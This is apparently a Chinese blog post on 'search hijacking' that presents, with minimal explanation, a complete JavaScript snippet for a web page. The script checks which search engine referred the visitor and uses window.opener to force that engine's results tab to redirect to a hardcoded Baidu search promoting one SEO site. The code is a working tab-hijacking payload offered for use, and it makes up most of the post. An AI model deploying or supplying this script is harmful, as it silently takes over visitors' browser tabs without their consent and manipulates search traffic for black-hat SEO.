搜索劫持，点击搜索结果后百度的搜索结果页被跳转

不知道大家有没有遇到这样的情况，就是我们通过百度搜索一个关键词后，在搜索结果页面点击一个网页链接，然后百度自己的页面居然被强制跳转了。

这也是一种搜索劫持，现在我就讲这段代码奉上，没有点代码基础的就忽略吧。

function a(i, j) {

    var k = "?wd=";

    var l = "&wd=";

    var m = "###";

    var n = "&";

    var o = i.indexOf(k);

    if (o == -1) {

        o = i.indexOf(l)

    };

    i = i.substring(o + 4, i.length);

    var o = i.indexOf(m);

    if (o == -1) {

        o = i.indexOf(n)

    };

    if (o != -1) {

        i = i.substring(0, o)

    };

    if (navigator.userAgent.indexOf("MSIE") != -1) {

        window.opener.document.location = j

    } else {

        window.opener.location.href = j

    }

};

function b(i, j) {

    var k = "?q=";

    var l = "&q=";

    var m = "###";

    var n = "&";

    var o = i.indexOf(k);

    if (o == -1) {

        o = i.indexOf(l)

    };

    i = i.substring(o + 3, i.length);

    var o = i.indexOf(m);

    if (o == -1) {

        o = i.indexOf(n)

    };

    if (o != -1) {

        i = i.substring(0, o)

    };

    if (navigator.userAgent.indexOf("MSIE") != -1) {

        window.opener.document.location = j

    } else {

        window.opener.location.href = j

    }

};

function c(i, j) {

    var k = "?query=";

    var l = "&query=";

    var m = "###";

    var n = "&";

    var o = i.indexOf(k);

    if (o == -1) {

        o = i.indexOf(l)

    };

    i = i.substring(o + 7, i.length);

    var o = i.indexOf(m);

    if (o == -1) {

        o = i.indexOf(n)

    };

    if (o != -1) {

        i = i.substring(0, o)

    };

    if (navigator.userAgent.indexOf("MSIE") != -1) {

        window.opener.document.location = j

    } else {

        window.opener.location.href = j

    }

};

function d(i, j) {

    var k = "?w=";

    var l = "&w=";

    var m = "###";

    var n = "&";

    var o = i.indexOf(k);

    if (o == -1) {

        o = i.indexOf(l)

    };

    i = i.substring(o + 3, i.length);

    var o = i.indexOf(m);

    if (o == -1) {

        o = i.indexOf(n)

    };

    if (o != -1) {

        i = i.substring(0, o)

    };

    if (navigator.userAgent.indexOf("MSIE") != -1) {

        window.opener.document.location = j

    } else {

        window.opener.location.href = j

    }

};

function e(i, j) {

    var k = "?q=";

    var l = "&q=";

    var m = "###";

    var n = "&";

    var o = i.indexOf(k);

    if (o == -1) {

        o = i.indexOf(l)

    };

    i = i.substring(o + 3, i.length);

    var o = i.indexOf(m);

    if (o == -1) {

        o = i.indexOf(n)

    };

    if (o != -1) {

        i = i.substring(0, o)

    };

    if (navigator.userAgent.indexOf("MSIE") != -1) {

        window.opener.document.location = j

    } else {

        window.opener.location.href = j

    }

};

function f(i, j) {

    var k = "?kw=";

    var l = "&kw=";

    var m = "###";

    var n = "&";

    var o = i.indexOf(k);

    if (o == -1) {

        o = i.indexOf(l)

    };

    i = i.substring(o + 4, i.length);

    var o = i.indexOf(m);

    if (o == -1) {

        o = i.indexOf(n)

    };

    if (o != -1) {

        i = i.substring(0, o)

    };

    if (navigator.userAgent.indexOf("MSIE") != -1) {

        window.opener.document.location = j

    } else {

        window.opener.location.href = j

    }

};

var g = "http://www.baidu.com/s?ct=2097152&tn=0051&ie=utf-8&si=www.linzugui.com&wd=%E7%99%BD%E6%B2%B3seo";

var h = document.referrer;

h = h.toLowerCase();

if (h.indexOf("baidu.com/") != -1) {

    a(h, g)

} else if (h.indexOf("google.com/") != -1 || h.indexOf("google.com.hk/") != -1) {

    b(h, g)

} else if (h.indexOf("sogou.com/") != -1) {

    c(h, g)

} else if (h.indexOf("soso.com/") != -1) {

    d(h, g)

} else if (h.indexOf("yahoo.cn/") != -1) {

    e(h, g)

} else if (h.indexOf("youdao.com/") != -1) {

    e(h, g)

} else if (h.indexOf("cn.bing.com/") != -1) {

    e(h, g)

} else if (h.indexOf("vnet.cn/") != -1) {

    f(h, g)

} else if (h.indexOf("360.cn/") != -1) {

    e(h, g)

}